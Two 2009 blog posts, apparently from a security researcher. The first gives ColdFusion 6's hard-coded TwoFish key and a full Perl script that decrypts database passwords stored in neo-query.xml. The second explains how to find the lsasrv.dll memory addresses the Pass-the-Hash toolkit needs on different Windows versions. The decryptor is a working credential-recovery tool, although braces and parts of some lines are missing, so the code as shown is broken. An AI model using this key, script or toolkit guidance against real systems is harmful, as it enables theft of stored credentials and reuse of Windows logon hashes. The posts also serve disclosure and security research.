Thursday, October 22, 2009

How to decrypt Coldfusion v6 datasource passwords

Some time ago I made a blog post about how to decrypt datasource passwords for both coldfusion v7 and v8 (see, this blog post is basically about the same but for ColdFusion v6.

DataSource passwords in v6 are stored in \lib\neo-query.xml as they were in v7, but this time the passwords are encrypted using a 16-bytes hard-coded key using the TwoFish encryption algorithm.

The code used to encrypt the passwords can be found in cfusion.jar, unzip the .jar file and look for it in \coldfusion\sql\TwoFishCryptor.class and \coldfusion\sql\TwoFish_Algorithm.class.

I wrote a quick perl script to decrypt these passwords (it requires Crypt::TwoFish which you can easily download using CPAN or manually), here it is:

# ColdFusion 6 neo-query.xml database passwords decryptor
# (c) Hernan Ochoa (

use Crypt::Twofish;

$key = "\x56\xbc\xca\x37\x94\x81\xa6\x17\x09\x59\xfa\xdb\xcc\xfd\x40\x1a";

print "ColdFusion 6 neo-query.xml database passwords decryptor\n";
print "by Hernan Ochoa (hernan\\n\n";

if (($#ARGV+1) != 1) {
print "syntax: \n";
print "example: AABBCCDDEEFF00010203040506070809\n";
print "\n";
exit 0;

$data = @ARGV[0];
if ( length($data) != 32 ) {
print "ERROR: encrypted password must be 32-characters long!\n";
exit 0;

print "encrypted password: $data\n";

@chars = split '', $data;

$mybytes = "";

for( $i=0; $i<32; $i=$i+2) {
$mybytes = $mybytes . chr( ( hex(@chars[$i])*16 ) + hex( @chars[$i+1]) );


$cipher = Crypt::Twofish->new($key);

print "decrypted password: " . $cipher->decrypt($mybytes);
print "\n";

You can also download it here:

Wednesday, October 21, 2009

List of Addresses for the Pass-the-Hash toolkit -a switch

Many people contact me frequently asking for the correct addresses to use with the -a switch of whosthere.exe and iam.exe for different versions of Windows, languages, etc.

Although I will continue answering these questions, I have put together a list of addresses for different versions of lsasrv.dll to make the process a little bit easier both for me and for you.

The list currently contains a low amount of addresses but It will grow eventually, your contributions are very welcome but please send me your lsasrv.dll along with the addresses because I need to verify the addresses are correct.

The file containing the list of addresses is very simple:

'sha1' is the sha1 hash of the lsasrv.dll. This is used to identify different versions of the DLL

'File version' and 'Language' are the version and language of lsasrv.dll

'addresses' are the addresses to use with the -a switch

So, basically, if you have a version of windows where whosthere.exe and iam.exe are not working, first try iam-alt.exe and whosthere-alt.exe, if that doesn't work or if you want to specifically use whosthere.exe and iam.exe calculate the sha1 hash of your lsasrv.dll file (located in c:\windows\system32\lsasrv.dll) and look it up in the list of addresses.

If you can't find it there, just email me your lsasrv.dll. I'll answer with the correct addresses and will add them to the list.

You can find the list of addresses here: